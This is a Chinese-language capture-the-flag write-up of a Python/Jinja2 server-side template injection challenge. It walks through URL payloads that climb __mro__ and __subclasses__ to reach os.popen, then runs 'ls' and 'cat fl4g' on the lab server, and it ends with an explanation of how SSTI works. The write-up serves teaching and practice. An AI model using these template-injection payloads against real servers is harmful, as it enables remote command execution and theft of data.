攻防世界web第十题Web_python_template_injection

这是题目,从题目上看是一个python模板注入类型的题目。

首先测试是否存在模板注入漏洞,构造http://61.147.171.105:57423/{{config}}

得到

说明存在模板注入漏洞,继续注入

构造http://61.147.171.105:57423/{{''.class .mro }}:

得到

再构造http://61.147.171.105:57423/{{''.class .mro [2].subclasses ()}}:

编写脚本找到类索引,

python 复制代码
text = "<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>"
 
new_text = text.split(",")
index = 0
for i in new_text:
    index += 1
print(index - 1)  #数组索引从0开始

运行得到索引值为71,

再构造http://61.147.171.105:57423/{{''.class .mro [2].subclasses ()[71].init .globals ['os'].popen('ls').read()}}

得到

最后构造http://61.147.171.105:57423/{{''.class .mro [2].subclasses ()[71].init .globals ['os'].popen('cat fl4g').read()}}

得到flag

总结:本质上就是通过模板注入代码获取所需信息。

知识点:

1.SSTI(Server-Side Template Injection)是一种发生在服务器端模板中的漏洞。当应用程序接受用户输入并将其直接传递到模板引擎中进行解析时,如果未对用户输入进行充分的验证和过滤,攻击者可以通过构造恶意的输入来注入模板代码,导致服务器端模板引擎执行恶意代码。

SSTI漏洞利用基本流程

获取当前类 -> 获取其object基类 -> 获取所有子类 -> 获取可执行shell命令的子类 -> 获取可执行shell命令的方法 -> 执行shell命令.

SSTI漏洞原理

服务端接收攻击者的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了攻击者插入的可以破坏模板的语句,从而达到攻击者的目的。

渲染函数在渲染的时候,往往对用户输入的变量不做渲染,即:{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{2*2}}会被解析成4。因此才有了现在的模板注入漏洞。往往变量我们使用{{恶意代码}}。正因为{{}}包裹的东西会被解析,因此我们就可以实现类似于SQL注入的漏洞.

实际上就是我们传到后台的数据会被后台获取数据并执行。本质上是后台代码解析前端传过来的数据的时候没有进行处理导致我们用{{}}传进来的恶意命令被动态渲染,从而产生了这样的问题。

class #返回type类型,查看对象的类型
bases #返回tuple类型,列出该类的基类
mro #返回tuple类型,给出解析方法调用的顺序
subclasses () #返回内建方法builtin_function_or_method,获取一个类的子类
globals #返回dict类型,对函数进行操作,获取当前空间下能使用的模块、方法、变量,
init 类的初始化方法

popen函数是用来执行系统命令的

相关推荐
攀登的牵牛花6 分钟前
前端向架构突围系列 - 跨端技术 [11 - 1]:JSBridge 原理与 Hybrid设计
前端
用户57573033462426 分钟前
从 LocalStorage 待办清单到 CSS 核心机制:一次搞懂数据持久化、继承与盒模型陷阱
前端
codingWhat33 分钟前
前端组件库开发实践:从零到发布
前端·npm·vite
cxxcode38 分钟前
浏览器模块加载与 Webpack 打包原理
前端
兆子龙39 分钟前
React Compiler 来了:少写 useMemo,照样稳
前端·架构
用户54330814419439 分钟前
Manifest V3 实战:从补天网站逆向到 Chrome 扩展开发全记录
前端·后端
zhqiok42 分钟前
React中类似于Vue中Pinia的轻量级状态管理神器——Zustand
前端
Mintopia1 小时前
促成高端技术方案形成的关键要素与实践路径
前端
哈里谢顿2 小时前
Python 高并发服务限流终极方案:从原理到生产落地(2026 实战指南)
python
摸鱼的春哥3 小时前
春哥的Agent通关秘籍13:实现RAG查询
前端·javascript·后端